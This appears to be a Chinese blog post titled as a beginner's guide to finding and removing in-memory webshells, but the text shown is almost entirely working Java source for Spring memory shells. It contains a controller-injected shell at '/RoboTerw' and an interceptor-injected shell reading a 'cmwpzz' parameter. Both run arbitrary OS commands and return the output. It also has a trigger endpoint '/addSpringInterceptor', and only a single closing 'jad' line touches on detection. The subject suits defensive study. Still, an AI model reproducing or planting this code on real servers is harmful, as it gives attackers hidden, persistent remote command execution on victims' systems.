突击一下内存马查杀，小白看了也能kill！

package com.lbc.controller;
import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Method;
public class myInjectController3 {    static {        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中test的 Method 对象        Method method2 = null;        try {            method2 = myInjectController3.class.getMethod("test");        } catch (NoSuchMethodException e) {            e.printStackTrace();        }        // 3. 定义访问 controller 的 URL 地址        PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerw");        // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）        //为空的则GET是可以访问的        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();//        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.GET);
        //定义POST如下定义//        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.POST);

        // 5. 在内存中动态注册 controller        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环        myInjectController3 evilController = new myInjectController3("aaa");
        mappingHandlerMapping.registerMapping(info, evilController, method2);    }    public myInjectController3(String aaa) {}
    public void test() throws  IOException{        // 获取request和response对象        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        //exec        try {            String arg0 = request.getParameter("cmd");            PrintWriter writer = response.getWriter();            if (arg0 != null) {                String o = "";                java.lang.ProcessBuilder p;                if(System.getProperty("os.name").toLowerCase().contains("win")){                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});                }else{                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});                }                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");                o = c.hasNext() ? c.next(): o;                c.close();                writer.write(o);                writer.flush();                writer.close();            }else{                response.sendError(404);            }        }catch (Exception e){}    }
}

package com.lbc.controller;
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.InputStreamReader;import java.lang.reflect.Field;
public class myInjectInterceptor1 implements HandlerInterceptor {    static {
        //首先是利用RequestContextHolder类来获取对应的属性值。        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
        Field field = null;        try {            field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        } catch (NoSuchFieldException e) {            e.printStackTrace();        }        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = null;

        try {            //准备动态修改abstractHandlerMapping值            adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);        } catch (IllegalAccessException e) {            e.printStackTrace();        }
        myInjectInterceptor1 evilInterceptor = new myInjectInterceptor1("aaa");
        adaptedInterceptors.add(evilInterceptor);    }
    public myInjectInterceptor1(String aaa) {}
    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String cmd = request.getParameter("cmwpzz");        if (cmd != null) {            try {                java.io.PrintWriter printWriter = response.getWriter();                ProcessBuilder builder;                if (System.getProperty("os.name").toLowerCase().contains("win")) {                    builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});                } else {                    builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});                }                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream()));                String line;                while ((line = bufferedReader.readLine()) != null) {                    printWriter.println(line);                }                printWriter.flush();                printWriter.close();            } catch (Exception e) {                e.printStackTrace();            }            return false;        }        return true;    }
    @Override    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {//        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);    }
    @Override    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {//        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);    }
}

package com.lbc.controller;
import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;
@Controller@RequestMapping("/addSpringInterceptor")public class testInjectInterceptor {
    @GetMapping    public void test(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception {        try {            //这里使用class.forname的方式或new 一个对象的方式都可以执行其中static的代码。加载class字节码本质就是会自动new 一个对象。//            Class.forName("com.lbc.controller.myInjectController3");            new  myInjectInterceptor1("wdaaazz");            httpServletResponse.getWriter().println("add successfully!");        } catch (Exception e) {            e.printStackTrace();        }    }}

jad --source-only org.apache.tomcat.websocket.server.WsFilter